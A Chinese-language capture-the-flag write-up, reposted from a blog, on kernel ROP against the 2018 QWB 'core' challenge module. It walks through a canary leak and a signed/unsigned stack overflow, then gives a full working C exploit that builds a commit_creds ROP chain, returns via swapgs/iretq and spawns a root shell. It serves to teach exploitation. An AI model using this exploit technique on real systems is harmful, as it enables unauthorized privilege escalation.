Kernel pwn 基础教学之 Kernel ROP
作者:互联网
前言
Kernel ROP本质上还是构造ropchain来控制程序流程完成提权,不过相较于用户态来说还是有了一些变化,这里选取的例题是2018年强网杯的赛题core,本来觉得学起来会很快的但是没想到还是踩了不少坑。
一、题目分析
本题目环境开始kaslr保护,也就意味着我们需要泄露内存地址,从解压cpio文件后从init文件中分析出以下关键信息
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
这表示着我们虽然不能从/proc/kallsyms中读内存地址,但是/proc/kallsyms中的地址信息已经导入了/tmp/kallsyms中,所以我们只需要读取/tmp/kallsyms中的内存地址信息就可以 然后本题insmod的模块名是core.ko,也就是我们需要分析的二进制文件。开启Canary、NX保护,如果要构造ropchain的话需要泄露Canary
1、core_ioctl
在core_ioctl中定义了三种功能,根据我们传参的不同来执行不同的功能:
0x6677889B:执行core_read函数
0x6677889C:对全局变量off赋值
0x6677889A:执行core_copy_func函数
2、core_read
关键点在copy_to_user上,因为在core_ioctl中我们可以直接对全局变量off赋值,所以我们可以利用这个任意偏移信息泄露把Canary的值泄露出来,观察变量str距离rbp偏移为0x50,而canary距离rbp为0x10,故确定off的值应为0x40即可泄露Canary。
3、core_write
这可以将用户态构造好的ropchain通过core_write赋值到内核态的全局变量name中。
4、core_copy_func
可以看到这里的参数size在判断大小时是按照int64标准来的,但是在进行copy的时候确实按照无符号整数标准来进行的,这里就造成了内核栈的溢出,结合前面的core_write函数我们可以对全局变量name赋值为用户态的ropchain,那么通过core_copy_func函数即可将ropchain放入内核栈中并造成栈溢出,进而达成控制程序流程提权的目的。
二、漏洞利用
这里先说一下kernel rop相较于用户态rop的不同点吧。在用户态中我们的目的是为了获得shell,也就是令程序执行诸如system("/bin/sh")一类的函数,然而到了kernel pwn中我们的目的从原先的getshell变成了提权,也就是执行commit_creds(prepare_kernel_cred(0)) 函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行system("/bin/sh")获取root权限的shell才可以,所以在我看来kernel rop变得无非就是两步:执行提权函数,返回用户态获取rootshell。从内核态返回用户态所需要用到的swapgs指令与iretq指令,前者是在从用户态进入内核态时,通过交换IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq指令则用来恢复用户态的cs、ss、rsp、rip、rflags的信息。其具体布局如下所示:
+-----------+
| RIP |
+-----------+
| CS |
+-----------+
| rflags |
+-----------+
| RSP |
+-----------+
| SS |
+-----------+
这里再说一下自己踩到的一个坑吧,也是脑子当时没有转过来弯。在计算内核gadget地址的时候我们使用ropper得到的gadget地址需要加上offset才是真实地址,这个和用户态的一样很好理解,而这个offset的获取办法我在这里简单说一下
通过这种方式我们可以通过从/tmp/kallsyms中得到的commit_creds函数的真实地址减去0x9c8e0就可以得到vmlinux_base的地址,而刚才所说的offset就是vmlinux_base减去raw_vmlinux_base,即0xffffffff81000000的值。好了来整理一下我们的利用思路吧:1、通过/tmp/kallsyms文件获得commit_creds函数与prepare_kernel_cred函数地址,并计算出所需gadget地址。2、对全局变量off赋值0x40,通过core_read函数获得canary的值。3、构建好ropchain,使用core_write函数将ropchain复制到内核态中 4、通过core_copy_func函数中的数值溢出造成的栈溢出漏洞,将ropchain放入栈中,退出函数时完成提权并返回用户态getrootshell。
EXP:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CORE_READ 0x6677889B
#define CORE_OFF 0x6677889C
#define CORE_COPY 0x6677889A
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
int GetAddress() {
char *ptr;
char buf[0x30] = {0};
FILE* fd = fopen("/tmp/kallsyms","r");
if (!fd) {
puts("[-] ERROR.");
return 0;
}
while(fgets(buf, sizeof(buf), fd)) {
if (commit_creds && prepare_kernel_cred){
printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
return 1;
}
if (strstr(buf, "commit_creds")) {
commit_creds = strtoull(buf, ptr, 16);
}
if (strstr(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = strtoull(buf, ptr, 16);
}
}
return 0;
}
void SaveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void GetShell() {
if (!getuid()) {
system("/bin/sh");
}
else {
puts("[-] CAN NOT GETSHELL.");
exit(1);
}
}
void main() {
size_t rop[0x100];
char user_buf[0x40] = {0};
char* ptr;
int i = 8;
SaveStatus();
GetAddress();
vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - raw_vmlinux_base;
size_t pop_rdi = 0xffffffff81679ba8 + offset;
size_t pop_rdx = 0xffffffff810a0f49 + offset;
size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
size_t swapgs = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
size_t iretq = 0xffffffff81050ac2 + offset; // iretq; ret;
int fd = open("/proc/core", 2);
if (!fd) {
puts("[-] OPEN /proc/core ERROR.");
exit(0);
}
ioctl(fd, CORE_OFF, 0x40);
ioctl(fd, 0x6677889B, user_buf); //canary in buf.
size_t canary = ((size_t*)user_buf)[0];
printf("[+] Find canary: 0x%llx\n", canary);
//commit_creads(prepare_kernel_cred(0));
rop[i++] = canary;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax;
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)GetShell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop));
ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
}
标签:Kernel,core,++,ROP,user,rop,pwn,kernel,size 来源: https://www.cnblogs.com/Amalll/p/16349126.html